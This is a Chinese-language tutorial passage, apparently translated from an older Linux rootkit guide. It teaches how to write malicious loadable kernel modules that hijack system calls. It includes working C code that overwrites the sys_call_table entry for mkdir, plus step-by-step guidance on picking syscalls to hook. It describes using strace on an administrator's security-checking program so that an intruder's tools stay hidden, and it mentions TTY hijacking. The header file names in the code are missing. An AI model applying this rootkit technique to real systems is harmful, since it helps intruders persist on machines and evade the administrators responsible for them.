第二部分 渐入佳境
  
  2.1 如何截获系统调用
  
  现在我们开始入侵LKM,在正常情况下LKMs是用来扩展内核的(特别是那些硬件驱动)。然而我们的‘Hacks’做一些不相同的事情。他们会截获系统调用并且更改他们,为了改变系统某些命令的响应方式。
  
  下面的这个模块能够使得任何用户都不能创建目录。这只但是是我们随后方法的一个小小演示。
  
  #define MODULE
  
  #define __KERNEL__
  
  #include
  
  #include
  
  #include
  
  #include
  
  #include
  
  #include
  
  #include
  
  #include
  
  #include
  
  #include
  
  #include
  
  #include
  
  #include
  
  extern void* sys_call_table[];
  
  /*sys_call_talbe 被引入,所以我们能够存取他*/
  
  int (*orig_mkdir)(const char *path);
  
  /*原始系统调用*/
  
  int hacked_mkdir(const char *path)
  
  {
  
  return 0;
  
  /*其他一切正常,除了新建操作,该操作什么也不做*/
  
  }
  
  int init_module(void)
  
  /*初始化模块*/
  
  {
  
  orig_mkdir=sys_call_table[SYS_mkdir];
  
  sys_call_table[SYS_mkdir]=hacked_mkdir;
  
  return 0;
  
  }
  
  void cleanup_module(void)
  
  /*卸载模块*/
  
  {
  
  sys_call_table[SYS_mkdir]=orig_mkdir;
  
  /*恢复mkdir系统调用到原来的哪个*/
  
  }
  
  编译并启动这个模块(见1.1)。然后尝试新建一个目录,您会发现不能成功。由于返回值是0(代表一切正常)我们得不到任何出错信息。在移区模块之后,我们又能够新建目录了。正如您所看到的,我们只需要改变sys_call_table(见1.2)中相对应的入口就能够截获到系统调用了。
  
  截获系统调用的通常步骤如下:
  
  找到您需要的系统调用在sys_call_table[]中的入口(看一眼include/sys/syscall.h)
  
  保存sys_call_table[x]的旧入口指针。(在这里x代表您所想要截获的系统调用的索引)
  
  将您自己定义的新的函数指针存入sys_call_table[x]
  
  您会意识到保存旧的系统调用指针是十分有用的,因为在您的新调用中您会需要他来模拟原始调用。当您在写一个'Hack-LKM'时您所面对的第一个问题是:
  
  我到底该截获哪个系统调用?
  
  2.2一些有趣的系统调用
  
  您并不是个管理内核的上帝,因此您不知道每一个用户的应用程式或命令到底使用了那些系统调用。因此我会给您一些提示来帮助您找到获得控制的系统调用。
  
  读源代码。在一个象linux这样的系统中,您能够找到任何一个用户(或管理员)所用的程式的源代码。一旦您发现了某个基本的函数,像dup,open,write.....转向b
  
  下面看看include/sys/syscall.h(见1.2)。试着去直接找相对应的系统调用(查找dup->您就会发现SYS_dup,查找write,您就会发现SYS_write;....)。假如没有找到转向c
  
  一些象socket,send,receive,....这样的调用并不是通过一个系统调用实现的--正如我以前说过的那样。这时就要看一看包含相关系统调用的头文档。
  
  要记住并不是每一个c库里面的函数都是系统调用。绝大多数这样的函数和系统调用毫无关系。一个稍微有一点经验的hacker会看看1.2里面的列表,那已提供了足够的信息。例如您要知道用户id管理是通过uid的系统调用实现的等等。假如您真的想确定您能够看看库函数/内核的源代码。
  
  最困难的问题是个系统管理员写了自己的应用程式来检查系统的完整性或安全性。关于这些程式的问题在于缺乏源代码。我们不能确定这个程式到底是如何工作的连同我们应该截获那些系统调用来隐藏我们的礼物/工具。甚至有可能他引入了一个截获hacker们经常使用的系统调用的LKM来隐藏他自己,并检查系统的安全性(系统管理员们经常使用一些黑客技术来保护他们的系统)。
  
  那我们应该如何继续呢?
  
  2.2.1 发现有趣的系统调用(strace方法)
  
  假定您已知道了某个系统管理员用来检查系统的程式(这个能够通过某些其他的方法得到,象TTY hijacking(见2.9/appendix
  
  a),现在唯一的问题是您需要让您的礼物躲过系统管理员的程式直到.....)。
  
  好,现在用strace来运行这个程式(也许您需要root权限来执行他)
  
  # strace super_admin_proggy
  
  这会给您一个十分棒的关于这个程式的每个系统调用的输出。这些系统调用有可能都要加入到您的hacking LKM当中去。我并没有一个这样的管理程式作为例子给您看。但是我们能够看看’strace whoami‘的输出:
  
  execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0
  
  mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
  
  0x40007000
  
  mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
  
  mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
  

文章整理:西部数码--专业提供域名注册虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!